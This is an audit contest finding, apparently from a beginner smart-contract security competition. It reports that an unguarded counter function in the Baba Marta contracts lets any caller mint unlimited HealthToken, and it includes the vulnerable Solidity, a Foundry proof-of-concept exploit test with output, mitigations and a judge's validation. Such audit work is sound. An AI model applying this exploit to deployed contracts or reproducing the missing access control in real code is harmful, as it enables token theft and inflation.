First Flight #13: Baba Marta
First Flight #13
Beginner FriendlyFoundryGameFi
100 EXP
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Submission Details
Severity: high
Valid

Insecure access control in `MartenitsaToken::updateCountMartenitsaTokensOwner` function, causing buyer to mint unlimited `HealthToken`.

bluedragon

Description

The function MartenitsaToken::updateCountMartenitsaTokensOwner allows an external caller to arbitrarily increase or decrease the MartenitsaToken::countMartenitsaTokensOwner mapping for a given owner address. This can lead to unintended countMartenitsaTokensOwner mapping manipulation. The MartenitsaMarketPlace::collectReward function depends on the countMartenitsaTokensOwner mapping to mint HealthToken to the buyer. If a buyer has 3 different token they can mint a HealthToken as countMartenitsaTokensOwner mapping can be manipulated, the buyer can mint an unlimited amount of HealthToken.

@> function updateCountMartenitsaTokensOwner(address owner, string memory operation) external {
if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("add"))) {
countMartenitsaTokensOwner[owner] += 1;
} else if (keccak256(abi.encodePacked(operation)) == keccak256(abi.encodePacked("sub"))) {
countMartenitsaTokensOwner[owner] -= 1;
} else {
revert("Wrong operation");
}
}
function collectReward() external {
require(!martenitsaToken.isProducer(msg.sender), "You are producer and not eligible for a reward!");
@> uint256 count = martenitsaToken.getCountMartenitsaTokensOwner(msg.sender);
uint256 amountRewards = (count / requiredMartenitsaTokens) - _collectedRewards[msg.sender];
if (amountRewards > 0) {
_collectedRewards[msg.sender] = amountRewards;
healthToken.distributeHealthToken(msg.sender, amountRewards);
}
}

Impact

As the MartenitsaToken::countMartenitsaTokensOwner can be manipulated by a arbitaray external call, a buyer can arbitrarily increase the countMartenitsaTokensOwner mapping count and mint an unlimited amount of HealthToken by calling the MartenitsaMarketPlace::collectReward function. This can lead high HealthToken supply and devaluation of the token's utility and value.

Proof of Concept

  1. First buyer calls the MartenitsaToken::updateCountMartenitsaTokensOwner function to increase the countMartenitsaTokensOwner mapping count.

  2. Buyer calls the MartenitsaMarketPlace::collectReward function to mint an unlimited amount of HealthToken.

Proof Of Code:

function test_BuyerCanMintUnlimitedHealthToken() public {
// set attacker
address attacker = makeAddr("attacker");
​
// increase the count of martenitsaTokensOwner
vm.startPrank(address(attacker));
for (uint256 i = 0; i < 6; i++) {
martenitsaToken.updateCountMartenitsaTokensOwner(address(attacker), "add");
}
console.log("The count of martenitsaTokensOwner: ", martenitsaToken.getCountMartenitsaTokensOwner(attacker));
vm.stopPrank();
​
// Call the collectReward function
vm.startPrank(address(attacker));
marketplace.collectReward();
console.log("The balance of the attacker after collecting reward: ", healthToken.balanceOf(attacker));
vm.stopPrank();
}
Here is the foundry output
Logs:
The count of martenitsaTokensOwner: 6
The balance of the attacker after collecting reward: 2000000000000000000

Recommended Mitigation:

  1. Implement access control to restrict the ability to call the MartenitsaToken::updateCountMartenitsaTokensOwner function to only authorized entities, such as the contract owner or a designated role.

  2. Consider removing the external ability to modify the MartenitsaToken::countMartenitsaTokensOwner mapping directly and instead update the mapping through other functions that perform appropriate validation and authorization checks.

  3. Implement a system of checks and balances, such as requiring two-factor authentication or multi-signature approvals for any changes to the MartenitsaToken::countMartenitsaTokensOwner mapping.

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Missing access control

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